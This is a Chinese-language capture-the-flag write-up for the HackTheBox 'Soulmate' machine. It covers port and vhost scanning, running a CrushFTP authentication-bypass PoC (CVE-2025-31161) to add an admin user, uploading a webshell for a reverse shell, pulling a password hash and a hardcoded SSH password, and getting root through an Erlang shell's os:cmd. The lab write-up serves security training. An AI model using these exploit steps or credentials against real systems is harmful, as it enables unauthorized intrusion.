HackTheBox-Soulmate

污泥啊 血肉啊
石头和大地也是你啊
莫要哭 莫要怕
走过了东路就到家


信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
./rustscan -a 10.10.11.86
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Because guessing isn't hacking.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.86:22
Open 10.10.11.86:80
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-16 19:32 EST
Initiating Ping Scan at 19:32
Scanning 10.10.11.86 [4 ports]
Completed Ping Scan at 19:32, 0.10s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:32
Scanning soulmate.htb (10.10.11.86) [2 ports]
Discovered open port 80/tcp on 10.10.11.86
Discovered open port 22/tcp on 10.10.11.86
Completed SYN Stealth Scan at 19:32, 0.15s elapsed (2 total ports)
Nmap scan report for soulmate.htb (10.10.11.86)
Host is up, received echo-reply ttl 63 (0.099s latency).
Scanned at 2025-11-16 19:32:18 EST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
Raw packets sent: 6 (240B) | Rcvd: 6 (236B)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://soulmate.htb/ -t 30 --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soulmate.htb/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]

访问子域名发现是curshFTP的登录界面。

Getshell


搜索对应exp,添加任意用户

Immersive-Labs-Sec/CVE-2025-31161: Proof of Concept for CVE-2025-31161 / CVE-2025-2825

1
2
3
4
5
6
7
8
9
10
python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user root --new_user kaada --password 123456 
[+] Preparing Payloads
[-] Warming up the target
[-] Target is up and running
[+] Sending Account Create Request
[!] User created successfully
[+] Exploit Complete you can now login with
[*] Username: kaada
[*] Password: 123456.

登录之后访问管理员界面,可以修改其他用户的密码。

ben用户可以上传文件。

实际上这里对应的是soulhtb的主目录,上传一句话马弹shell。

1
2
3
4
5
6
7
8
9
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from soulmate-10.10.11.86-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/soulmate~10.10.11.86_Linux_x86_64/2025_11_16-19_42_50-664.log 📜
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
www-data@soulmate:~/soulmate.htb/public$

网站根目录下得到管理员密码哈希

1
2
3
4
5
6
7
8
www-data@soulmate:~/soulmate.htb/data$ sqlite3 soulmate.db 
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|admin|$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2|1|Administrator|||||2025-08-10 13:00:08|2025-08-10 12:59:39
sqlite>

但是爆破不出来。

GetBen


上传linpeas进一步分析,发现root用户执行了一个自定义脚本。

1
2
root        1076  0.0  1.4 2253504 57000 ?       Ssl  Nov16   0:09 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript

其中得到ben用户密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
www-data@soulmate:~/soulmate.htb/public$ cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),

io:format("Starting SSH daemon with logging...~n"),

case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},

{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},

{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},

{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},

{auth_methods, "publickey,password"},

{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,

receive
stop -> ok
end.

Root


查看进程,发现基于erlang的ssh服务,是root开启的

1
2025/11/17 00:34:06 CMD: UID=0     PID=1076   | /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript  

开放端口为2222

1
2
3
4
5
6
7
8
9
10
11
ben@soulmate:~$ ssh -p 2222 127.0.0.1
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts.
ben@127.0.0.1's password:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>

1
2
3
4
5
6
7
8
9
(ssh_runner@soulmate)1> m().
Module File
application /usr/local/lib/erlang/lib/kernel-10.2.5/ebin/application.beam
application_controll /usr/local/lib/erlang/lib/kernel-10.2.5/ebin/application_controller.beam
application_master /usr/local/lib/erlang/lib/kernel-10.2.5/ebin/application_master.beam
atomics preloaded
...
os /usr/local/lib/erlang/lib/kernel-10.2.5/ebin/os.beam

1
2
3
4
(ssh_runner@soulmate)2> os:cmd("id").
(ssh_runner@soulmate)2> os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
(ssh_runner@soulmate)3>

HackTheBox-Soulmate
http://example.com/2025/11/17/HackTheBox-Soulmate/
Author
Skyarrow
Posted on
November 17, 2025
Licensed under